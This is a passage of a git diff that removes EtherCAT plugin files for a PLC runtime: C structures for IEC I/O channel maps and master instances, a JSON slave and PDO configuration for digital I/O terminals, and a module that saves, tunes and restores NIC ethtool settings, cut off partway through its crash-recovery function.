avg_latency_ns_sum; /* EWMA accumulator; avg = sum/N */ -} ecat_cycle_diag_t; - -/* - * ============================================================================= - * I/O Channel Map and Transfer List Types - * ============================================================================= - * - * These types are defined here (rather than in ethercat_io.h) so that - * ecat_master_instance_t can embed them directly, avoiding a circular - * include between ethercat_config.h and ethercat_io.h. - */ - -/* Maximum entries in a single direction of the channel map */ -#define ECAT_MAX_MAP_ENTRIES 256 - -/** - * @brief IEC 61131-3 data size qualifiers - */ -typedef enum { - IEC_SIZE_BIT, /* X -- single bit */ - IEC_SIZE_BYTE, /* B -- 1 byte */ - IEC_SIZE_WORD, /* W -- 2 bytes */ - IEC_SIZE_DWORD, /* D -- 4 bytes */ - IEC_SIZE_LWORD /* L -- 8 bytes */ -} iec_size_t; - -/** - * @brief IEC 61131-3 direction qualifiers - */ -typedef enum { - IEC_DIR_INPUT, /* I -- physical input */ - IEC_DIR_OUTPUT /* Q -- physical output */ -} iec_dir_t; - -/** - * @brief Parsed IEC location -- result of parsing a string like "%IX0.3" - */ -typedef struct { - iec_dir_t direction; /* I or Q */ - iec_size_t size; /* X, B, W, D, L */ - int byte_index; /* byte address */ - int bit_index; /* bit within byte (X only, 0-7; -1 otherwise) */ -} iec_location_t; - -/** - * @brief Single entry in the channel map - */ -typedef struct { - /* IOmap side */ - size_t iomap_offset; /* byte offset from IOmap base */ - int iomap_bit_offset; /* bit offset within the byte (0-7) */ - uint8_t bit_length; /* channel width in bits */ - - /* PLC side */ - iec_size_t size; /* IEC size qualifier */ - int byte_index;/* byte index into PLC buffer */ - int bit_index; /* bit index (IEC_SIZE_BIT only, else -1) */ - ecat_data_type_t data_type;/* CoE data type from the PDO entry */ -} ecat_channel_map_entry_t; - -/** - * @brief Complete channel map -- separate arrays for inputs and outputs - */ -typedef struct { - ecat_channel_map_entry_t inputs[ECAT_MAX_MAP_ENTRIES]; - int input_count; - ecat_channel_map_entry_t outputs[ECAT_MAX_MAP_ENTRIES]; - int output_count; -} ecat_channel_map_t; - -/** - * @brief Single pre-resolved transfer entry - */ -typedef struct { - void *plc_ptr; /* direct pointer to the PLC variable */ - size_t iomap_offset; /* byte offset from IOmap base */ - int iomap_bit_offset; /* bit offset within the byte (0-7) */ - uint8_t byte_count; /* bytes to copy (1, 2, 4, or 8) */ - bool is_bit; /* true for IEC_SIZE_BIT channels */ - /* Journal coordinates for INPUT channels. Input data read from the bus - * is published into the PLC %I image through the lock-free journal (not - * poked directly via plc_ptr), so it is race-free against the IEC task - * threads without holding any image lock. Unused for output channels, - * which still read the %Q image directly through plc_ptr. */ - int journal_index; /* byte index into the input image */ - int journal_bit; /* bit index (bit channels only, else 0) */ -} ecat_transfer_entry_t; - -/** - * @brief Complete transfer list -- separate arrays for inputs and outputs - */ -typedef struct { - ecat_transfer_entry_t inputs[ECAT_MAX_MAP_ENTRIES]; - int input_count; - ecat_transfer_entry_t outputs[ECAT_MAX_MAP_ENTRIES]; - int output_count; -} ecat_transfer_list_t; - -/* - * ============================================================================= - * Multi-Master Instance Structures - * ============================================================================= - */ - -/** - * @brief Per-master instance state - * - * Encapsulates ALL state for a single EtherCAT master, enabling - * multiple independent masters on different network interfaces. - * Must be heap-allocated (too large for stack: ~7MB per instance - * due to the inline ecat_config_t slave array). - */ -typedef struct { - /* Identity */ - char name[ECAT_MAX_NAME_LEN]; /* master name from JSON config */ - - /* Configuration (parsed from JSON) */ - ecat_config_t config; - - /* SOEM context and IOmap — per-instance, NOT shared */ - ecx_contextt ecx_context; - uint8_t iomap[ECAT_IOMAP_SIZE]; - int soem_initialized; - size_t iomap_used_size; - - /* I/O channel map and transfer list (populated by start_loop) */ - ecat_channel_map_t channel_map; - ecat_transfer_list_t transfer_list; - - /* State machine */ - _Atomic(int) plugin_state; /* ecat_plugin_state_t */ - int expected_wkc; - int receive_timeout_us; - - /* Diagnostics (updated by the bus thread) */ - ecat_cycle_diag_t diag; - _Atomic(int) consecutive_wkc_errors; - _Atomic(int) recovery_attempts; - /* Counts ecx_writestate calls during recovery that returned wkc<=0 - * (request did not reach the slave -- link/cable issue, vs. slave - * reachable but rejecting the state). Distinguishes physical from - * configuration recovery failures in the operator UI. */ - _Atomic(uint32_t) recovery_writestate_failures; - uint64_t cycle_counter; - - /* Per-slave snapshot for queries via execute_command. - * - * The slave AL state lives in ecx_context.slavelist[], which is mutated - * by the monitor thread during recovery. Letting the JSON handlers read - * slavelist[] directly would force them to take soem_lock, which the PLC - * also tries to take on every cycle -- so each query would risk skipping - * a PLC cycle. - * - * Instead the monitor publishes a small snapshot of the slave fields it - * needs into slaves_snapshot[] under slaves_mutex (PRIO_INHERIT). JSON - * handlers take that mutex briefly; the PLC never touches it. */ - ecat_slave_status_t slaves_snapshot[ECAT_MAX_SLAVES]; - int slaves_snapshot_count; - pthread_mutex_t slaves_mutex; - -#if ECAT_ENABLE_MONITOR_THREAD - /* Monitor thread — per-instance. - * - * soem_lock serializes SOEM access between the PLC thread (cycle_start) - * and the monitor thread (state checks, recovery). The PLC thread uses - * pthread_mutex_trylock and skips the cycle if the monitor is holding - * the lock; the monitor takes the lock blockingly. The lock is - * initialized with PRIO_INHERIT to avoid priority inversion. - */ - pthread_t monitor_thread; - _Atomic(bool) monitor_running; - pthread_mutex_t soem_lock; - _Atomic(uint64_t) exchange_skips; -#endif - - /* Dedicated bus thread. Periodic at master.cycle_time_us, SCHED_FIFO - * at the configured task_priority. Drives the synchronous SOEM - * exchange independently of the IEC scan threads. Bus cycle stats - * live on `inst->diag` and reach the editor via the existing - * /api/discovery/ethercat/{runtime-status,diagnostics} routes. */ - pthread_t bus_thread; - _Atomic(bool) bus_running; - - /* Time-based EWMA window in samples; computed from cycle_time_us at - * start_single_master so the wall-clock smoothing window matches - * ECAT_AVG_TARGET_WINDOW_NS regardless of configured cycle rate. */ - int64_t avg_window; - - /* Per-iface external state (NIC tuning + IP-stack isolation). - * Populated by ecat_iface_state_apply(); consumed by - * ecat_iface_state_revert(). Includes its own iface name copy so - * revert can run after config has been freed. */ - ecat_iface_state_t iface_state; -} ecat_master_instance_t; - -/** - * @brief Parse all EtherCAT master configurations from a JSON file - * - * Iterates ALL entries in the JSON array (not just the first). - * Each entry with "protocol": "ETHERCAT" is parsed into a separate config. - * Also extracts the master name from each entry. - * - * @param config_path Path to the JSON configuration file - * @param instances Output array of master instances (only name + config are populated) - * @param max_masters Maximum number of masters to parse - * @param out_count Output: number of masters actually parsed - * @return ECAT_CONFIG_OK on success, negative error code on failure - */ -int ecat_config_parse_all(const char *config_path, - ecat_master_instance_t *instances, - int max_masters, - int *out_count); - -/** - * @brief Convert plugin state enum to human-readable string - * - * @param state Plugin state value - * @return Static string representation (e.g., "OPERATIONAL") - */ -const char *ecat_state_to_string(ecat_plugin_state_t state); - -/** - * @brief Get the size in bytes for a given EtherCAT data type - * - * Used for SDO write operations to determine the payload size. - * - * @param dt Data type enum value - * @return Size in bytes (0 for UNKNOWN/PAD, 1 for BOOL) - */ -int ecat_data_type_size(ecat_data_type_t dt); - -/** - * @brief Convert a data type enum to a human-readable name (e.g. "INT16"). - * - * Symmetric with ecat_state_to_string. Used in log messages so the - * structs no longer need to carry the original JSON string. - * - * @param dt Data type enum value - * @return Static string ("UNKNOWN" for invalid or unrecognized values) - */ -const char *ecat_data_type_to_string(ecat_data_type_t dt); - -#endif /* ETHERCAT_CONFIG_H */ diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_config.json b/core/src/drivers/plugins/native/ethercat/ethercat_config.json deleted file mode 100644 index b380a536..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_config.json +++ /dev/null @@ -1,797 +0,0 @@ -[ - { - "name": "ethercat_master", - "protocol": "ETHERCAT", - "config": { - "master": { - "interface": "ens37", - "cycle_time_us": 1000 - }, - "slaves": [ - { - "position": 1, - "name": "EK1100", - "type": "coupler", - "vendor_id": "0x2", - "product_code": "0x044c2c52", - "revision": "0x00120000", - "channels": [], - "sdo_configurations": [], - "rx_pdos": [], - "tx_pdos": [] - }, - { - "position": 2, - "name": "EL1809", - "type": "digital_input", - "vendor_id": "0x2", - "product_code": "0x07113052", - "revision": "0x00120000", - "channels": [ - { - "index": 0, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.0", - "pdo_index": "0x1a00", - "pdo_entry_index": "0x6000", - "pdo_entry_subindex": 1 - }, - { - "index": 1, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.1", - "pdo_index": "0x1a01", - "pdo_entry_index": "0x6010", - "pdo_entry_subindex": 1 - }, - { - "index": 2, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.2", - "pdo_index": "0x1a02", - "pdo_entry_index": "0x6020", - "pdo_entry_subindex": 1 - }, - { - "index": 3, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.3", - "pdo_index": "0x1a03", - "pdo_entry_index": "0x6030", - "pdo_entry_subindex": 1 - }, - { - "index": 4, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.4", - "pdo_index": "0x1a04", - "pdo_entry_index": "0x6040", - "pdo_entry_subindex": 1 - }, - { - "index": 5, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.5", - "pdo_index": "0x1a05", - "pdo_entry_index": "0x6050", - "pdo_entry_subindex": 1 - }, - { - "index": 6, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.6", - "pdo_index": "0x1a06", - "pdo_entry_index": "0x6060", - "pdo_entry_subindex": 1 - }, - { - "index": 7, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.7", - "pdo_index": "0x1a07", - "pdo_entry_index": "0x6070", - "pdo_entry_subindex": 1 - }, - { - "index": 8, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.0", - "pdo_index": "0x1a08", - "pdo_entry_index": "0x6080", - "pdo_entry_subindex": 1 - }, - { - "index": 9, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.1", - "pdo_index": "0x1a09", - "pdo_entry_index": "0x6090", - "pdo_entry_subindex": 1 - }, - { - "index": 10, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.2", - "pdo_index": "0x1a0a", - "pdo_entry_index": "0x60a0", - "pdo_entry_subindex": 1 - }, - { - "index": 11, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.3", - "pdo_index": "0x1a0b", - "pdo_entry_index": "0x60b0", - "pdo_entry_subindex": 1 - }, - { - "index": 12, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.4", - "pdo_index": "0x1a0c", - "pdo_entry_index": "0x60c0", - "pdo_entry_subindex": 1 - }, - { - "index": 13, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.5", - "pdo_index": "0x1a0d", - "pdo_entry_index": "0x60d0", - "pdo_entry_subindex": 1 - }, - { - "index": 14, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.6", - "pdo_index": "0x1a0e", - "pdo_entry_index": "0x60e0", - "pdo_entry_subindex": 1 - }, - { - "index": 15, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.7", - "pdo_index": "0x1a0f", - "pdo_entry_index": "0x60f0", - "pdo_entry_subindex": 1 - } - ], - "sdo_configurations": [], - "rx_pdos": [], - "tx_pdos": [ - { - "index": "0x1a00", - "name": "Channel 1", - "entries": [ - { - "index": "0x6000", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a01", - "name": "Channel 2", - "entries": [ - { - "index": "0x6010", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a02", - "name": "Channel 3", - "entries": [ - { - "index": "0x6020", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a03", - "name": "Channel 4", - "entries": [ - { - "index": "0x6030", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a04", - "name": "Channel 5", - "entries": [ - { - "index": "0x6040", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a05", - "name": "Channel 6", - "entries": [ - { - "index": "0x6050", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a06", - "name": "Channel 7", - "entries": [ - { - "index": "0x6060", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a07", - "name": "Channel 8", - "entries": [ - { - "index": "0x6070", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a08", - "name": "Channel 9", - "entries": [ - { - "index": "0x6080", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a09", - "name": "Channel 10", - "entries": [ - { - "index": "0x6090", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a0a", - "name": "Channel 11", - "entries": [ - { - "index": "0x60a0", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a0b", - "name": "Channel 12", - "entries": [ - { - "index": "0x60b0", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a0c", - "name": "Channel 13", - "entries": [ - { - "index": "0x60c0", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a0d", - "name": "Channel 14", - "entries": [ - { - "index": "0x60d0", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a0e", - "name": "Channel 15", - "entries": [ - { - "index": "0x60e0", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a0f", - "name": "Channel 16", - "entries": [ - { - "index": "0x60f0", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - } - ] - }, - { - "position": 3, - "name": "EL2809", - "type": "digital_output", - "vendor_id": "0x2", - "product_code": "0x0AF93052", - "revision": "0x00120000", - "channels": [ - { - "index": 0, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.0", - "pdo_index": "0x1600", - "pdo_entry_index": "0x7000", - "pdo_entry_subindex": 1 - }, - { - "index": 1, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.1", - "pdo_index": "0x1601", - "pdo_entry_index": "0x7010", - "pdo_entry_subindex": 1 - }, - { - "index": 2, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.2", - "pdo_index": "0x1602", - "pdo_entry_index": "0x7020", - "pdo_entry_subindex": 1 - }, - { - "index": 3, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.3", - "pdo_index": "0x1603", - "pdo_entry_index": "0x7030", - "pdo_entry_subindex": 1 - }, - { - "index": 4, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.4", - "pdo_index": "0x1604", - "pdo_entry_index": "0x7040", - "pdo_entry_subindex": 1 - }, - { - "index": 5, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.5", - "pdo_index": "0x1605", - "pdo_entry_index": "0x7050", - "pdo_entry_subindex": 1 - }, - { - "index": 6, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.6", - "pdo_index": "0x1606", - "pdo_entry_index": "0x7060", - "pdo_entry_subindex": 1 - }, - { - "index": 7, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.7", - "pdo_index": "0x1607", - "pdo_entry_index": "0x7070", - "pdo_entry_subindex": 1 - }, - { - "index": 8, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.0", - "pdo_index": "0x1608", - "pdo_entry_index": "0x7080", - "pdo_entry_subindex": 1 - }, - { - "index": 9, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.1", - "pdo_index": "0x1609", - "pdo_entry_index": "0x7090", - "pdo_entry_subindex": 1 - }, - { - "index": 10, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.2", - "pdo_index": "0x160a", - "pdo_entry_index": "0x70a0", - "pdo_entry_subindex": 1 - }, - { - "index": 11, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.3", - "pdo_index": "0x160b", - "pdo_entry_index": "0x70b0", - "pdo_entry_subindex": 1 - }, - { - "index": 12, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.4", - "pdo_index": "0x160c", - "pdo_entry_index": "0x70c0", - "pdo_entry_subindex": 1 - }, - { - "index": 13, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.5", - "pdo_index": "0x160d", - "pdo_entry_index": "0x70d0", - "pdo_entry_subindex": 1 - }, - { - "index": 14, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.6", - "pdo_index": "0x160e", - "pdo_entry_index": "0x70e0", - "pdo_entry_subindex": 1 - }, - { - "index": 15, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.7", - "pdo_index": "0x160f", - "pdo_entry_index": "0x70f0", - "pdo_entry_subindex": 1 - } - ], - "sdo_configurations": [], - "rx_pdos": [ - { - "index": "0x1600", - "name": "Channel 1", - "entries": [ - { - "index": "0x7000", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1601", - "name": "Channel 2", - "entries": [ - { - "index": "0x7010", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1602", - "name": "Channel 3", - "entries": [ - { - "index": "0x7020", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1603", - "name": "Channel 4", - "entries": [ - { - "index": "0x7030", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1604", - "name": "Channel 5", - "entries": [ - { - "index": "0x7040", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1605", - "name": "Channel 6", - "entries": [ - { - "index": "0x7050", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1606", - "name": "Channel 7", - "entries": [ - { - "index": "0x7060", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1607", - "name": "Channel 8", - "entries": [ - { - "index": "0x7070", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1608", - "name": "Channel 9", - "entries": [ - { - "index": "0x7080", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1609", - "name": "Channel 10", - "entries": [ - { - "index": "0x7090", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x160a", - "name": "Channel 11", - "entries": [ - { - "index": "0x70a0", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x160b", - "name": "Channel 12", - "entries": [ - { - "index": "0x70b0", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x160c", - "name": "Channel 13", - "entries": [ - { - "index": "0x70c0", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x160d", - "name": "Channel 14", - "entries": [ - { - "index": "0x70d0", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x160e", - "name": "Channel 15", - "entries": [ - { - "index": "0x70e0", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x160f", - "name": "Channel 16", - "entries": [ - { - "index": "0x70f0", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - } - ], - "tx_pdos": [] - } - ], - "diagnostics": { - "log_connections": true, - "log_data_access": false, - "log_errors": true, - "max_log_entries": 10000, - "status_update_interval_ms": 500 - } - } - } -] diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iface_state.c b/core/src/drivers/plugins/native/ethercat/ethercat_iface_state.c deleted file mode 100644 index 30b948aa..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_iface_state.c +++ /dev/null @@ -1,395 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_iface_state.c - * @brief Implementation of ethercat_iface_state.h. - * - * This module owns the NIC tuning the EtherCAT bus thread depends on: - * - ethtool -C (interrupt coalescing: rx-usecs / tx-usecs = 0) - * - ethtool -K (offload aggregation: GRO / GSO / TSO off) - * - * Both are runtime-only NIC settings (not persisted across reboots by - * the OS), so the only correctness concern is making sure a graceful - * shutdown — and a *crashed* runtime's next start — both restore them - * to the values that were in effect before the master was brought up. - * That's what the `/run/runtime/ecat_iface_.state` file is for: - * we write the captured "before" values there, and the next apply call - * checks for a leftover file and rolls back before re-applying. - * - * On non-Linux platforms apply/revert are no-ops; the SOEM raw socket - * is the only thing that interacts with the NIC there. - */ - -#include "ethercat_iface_state.h" -#include "ethercat_proc.h" -#include "ethercat_config.h" /* ecat_iface_validate */ - -#include -#include -#include - -#if !defined(__CYGWIN__) && !defined(_WIN32) - -#include -#include -#include -#include - -#define ECAT_IFACE_STATE_DIR "/run/runtime" -#define ECAT_IFACE_STATE_FMT ECAT_IFACE_STATE_DIR "/ecat_iface_%s.state" - -/* ------------------------------------------------------------------ */ -/* ethtool output parsing */ -/* ------------------------------------------------------------------ */ - -/* - * Look for ":" (not "-something:") and read the integer that - * follows. Avoids matching "rx-usecs-irq" when searching for "rx-usecs". - */ -static int parse_ethtool_int(const char *output, const char *key, int *value) -{ - size_t key_len = strlen(key); - const char *p = output; - while ((p = strstr(p, key)) != NULL) { - char next = p[key_len]; - if (next == ':' || next == ' ' || next == '\t') - break; - p += key_len; - } - if (!p) - return -1; - p += key_len; - while (*p == ':' || *p == ' ' || *p == '\t') - p++; - if (*p == '\0' || (*p != '-' && !isdigit((unsigned char)*p))) - return -1; - *value = atoi(p); - return 0; -} - -static int parse_ethtool_bool(const char *output, const char *key, int *value) -{ - const char *p = strstr(output, key); - if (!p) - return -1; - p += strlen(key); - while (*p == ':' || *p == ' ' || *p == '\t') - p++; - *value = (strncmp(p, "on", 2) == 0) ? 1 : 0; - return 0; -} - -/* ------------------------------------------------------------------ */ -/* NIC capture / apply / restore */ -/* ------------------------------------------------------------------ */ - -static void capture_nic_settings(ecat_iface_state_t *s, plugin_logger_t *logger) -{ - char output[2048]; - - /* Coalescing (-c) */ - { - char *argv[] = { "ethtool", "-c", (char *)s->iface, NULL }; - if (ecat_run_argv("ethtool", argv, output, sizeof(output)) == 0) { - int ok = 0; - ok += (parse_ethtool_int(output, "rx-usecs", &s->rx_usecs) == 0); - ok += (parse_ethtool_int(output, "tx-usecs", &s->tx_usecs) == 0); - if (ok > 0) { - s->coalescing_saved = true; - plugin_logger_info(logger, - "%s: saved coalescing (rx-usecs=%d, tx-usecs=%d)", - s->iface, s->rx_usecs, s->tx_usecs); - } - } - } - - /* Offloads (-k) */ - { - char *argv[] = { "ethtool", "-k", (char *)s->iface, NULL }; - if (ecat_run_argv("ethtool", argv, output, sizeof(output)) == 0) { - int gro = 0, gso = 0, tso = 0; - int ok = 0; - ok += (parse_ethtool_bool(output, "generic-receive-offload", &gro) == 0); - ok += (parse_ethtool_bool(output, "generic-segmentation-offload", &gso) == 0); - ok += (parse_ethtool_bool(output, "tcp-segmentation-offload", &tso) == 0); - if (ok > 0) { - s->offloads_saved = true; - s->gro = (gro != 0); - s->gso = (gso != 0); - s->tso = (tso != 0); - plugin_logger_info(logger, - "%s: saved offloads (gro=%s, gso=%s, tso=%s)", - s->iface, - s->gro ? "on" : "off", - s->gso ? "on" : "off", - s->tso ? "on" : "off"); - } - } - } -} - -static void apply_low_latency_nic(const char *iface, plugin_logger_t *logger) -{ - /* Disable IRQ coalescing -- deliver frames immediately */ - { - char *argv[] = { - "ethtool", "-C", (char *)iface, - "rx-usecs", "0", - "tx-usecs", "0", - NULL - }; - if (ecat_run_argv("ethtool", argv, NULL, 0) == 0) { - plugin_logger_info(logger, - "%s: IRQ coalescing disabled (rx-usecs=0 tx-usecs=0)", iface); - } - } - - /* Disable receive offloads that batch/merge packets */ - { - char *argv[] = { - "ethtool", "-K", (char *)iface, - "gro", "off", - "gso", "off", - "tso", "off", - NULL - }; - if (ecat_run_argv("ethtool", argv, NULL, 0) == 0) { - plugin_logger_info(logger, "%s: GRO/GSO/TSO offloads disabled", iface); - } - } -} - -static void restore_nic_settings(const ecat_iface_state_t *s, plugin_logger_t *logger) -{ - if (s->coalescing_saved) { - char rx_str[16], tx_str[16]; - snprintf(rx_str, sizeof(rx_str), "%d", s->rx_usecs); - snprintf(tx_str, sizeof(tx_str), "%d", s->tx_usecs); - char *argv[] = { - "ethtool", "-C", (char *)s->iface, - "rx-usecs", rx_str, - "tx-usecs", tx_str, - NULL - }; - if (ecat_run_argv("ethtool", argv, NULL, 0) == 0) { - plugin_logger_info(logger, - "%s: restored coalescing (rx-usecs=%d, tx-usecs=%d)", - s->iface, s->rx_usecs, s->tx_usecs); - } - } - - if (s->offloads_saved) { - char *argv[] = { - "ethtool", "-K", (char *)s->iface, - "gro", s->gro ? "on" : "off", - "gso", s->gso ? "on" : "off", - "tso", s->tso ? "on" : "off", - NULL - }; - if (ecat_run_argv("ethtool", argv, NULL, 0) == 0) { - plugin_logger_info(logger, - "%s: restored offloads (gro=%s, gso=%s, tso=%s)", - s->iface, - s->gro ? "on" : "off", - s->gso ? "on" : "off", - s->tso ? "on" : "off"); - } - } -} - -/* ------------------------------------------------------------------ */ -/* Persistence */ -/* ------------------------------------------------------------------ */ - -static void state_path(const char *iface, char *buf, size_t size) -{ - snprintf(buf, size, ECAT_IFACE_STATE_FMT, iface); -} - -static void persist_state(const ecat_iface_state_t *s, plugin_logger_t *logger) -{ - if (mkdir(ECAT_IFACE_STATE_DIR, 0755) != 0 && errno != EEXIST) { - plugin_logger_warn(logger, - "Cannot create %s: %s - iface state will not survive a crash", - ECAT_IFACE_STATE_DIR, strerror(errno)); - return; - } - - char path[160]; - state_path(s->iface, path, sizeof(path)); - - char tmp[176]; - snprintf(tmp, sizeof(tmp), "%s.tmp", path); - - FILE *fp = fopen(tmp, "w"); - if (!fp) { - plugin_logger_warn(logger, - "Cannot write %s: %s - iface state will not survive a crash", - tmp, strerror(errno)); - return; - } - - fprintf(fp, "iface=%s\n", s->iface); - if (s->coalescing_saved) { - fprintf(fp, "rx_usecs=%d\n", s->rx_usecs); - fprintf(fp, "tx_usecs=%d\n", s->tx_usecs); - } - if (s->offloads_saved) { - fprintf(fp, "gro=%s\n", s->gro ? "on" : "off"); - fprintf(fp, "gso=%s\n", s->gso ? "on" : "off"); - fprintf(fp, "tso=%s\n", s->tso ? "on" : "off"); - } - fflush(fp); - fclose(fp); - - if (rename(tmp, path) != 0) { - plugin_logger_warn(logger, "Cannot rename %s -> %s: %s", - tmp, path, strerror(errno)); - unlink(tmp); - } -} - -static void remove_state_file(const char *iface) -{ - char path[160]; - state_path(iface, path, sizeof(path)); - unlink(path); -} - -/* - * Read /run/runtime/ecat_iface_.state into @p s. Returns true if - * a valid file was parsed. - */ -static bool load_state(const char *iface, ecat_iface_state_t *s) -{ - char path[160]; - state_path(iface, path, sizeof(path)); - FILE *fp = fopen(path, "r"); - if (!fp) - return false; - - memset(s, 0, sizeof(*s)); - strncpy(s->iface, iface, sizeof(s->iface) - 1); - s->iface[sizeof(s->iface) - 1] = '\0'; - - char line[128]; - while (fgets(line, sizeof(line), fp)) { - size_t len = strlen(line); - if (len > 0 && line[len - 1] == '\n') - line[len - 1] = '\0'; - char *eq = strchr(line, '='); - if (!eq) - continue; - *eq = '\0'; - const char *key = line; - const char *val = eq + 1; - if (strcmp(key, "rx_usecs") == 0) { - s->rx_usecs = atoi(val); - s->coalescing_saved = true; - } else if (strcmp(key, "tx_usecs") == 0) { - s->tx_usecs = atoi(val); - s->coalescing_saved = true; - } else if (strcmp(key, "gro") == 0) { - s->gro = (strcmp(val, "on") == 0); - s->offloads_saved = true; - } else if (strcmp(key, "gso") == 0) { - s->gso = (strcmp(val, "on") == 0); - s->offloads_saved = true; - } else if (strcmp(key, "tso") == 0) { - s->tso = (strcmp(val, "on") == 0); - s->offloads_saved = true; - } - } - fclose(fp); - return true; -} - -/* ------------------------------------------------------------------ */ -/* Crash recovery from the unified state file */ -/* ------------------------------------------------------------------ */ - -static void recover_from_crash(const char *iface, plugin_logger_t *logger) -{ - ecat_iface_state_t prev; - if (!load_state(iface, &prev)) - return; - - plugin_logger_warn(logger, - "Found stale iface state for %s " - "(coalescing_saved=%d, offloads_saved=%d) - " - "previous process likely crashed. Reverting before re-applying.", - iface, - 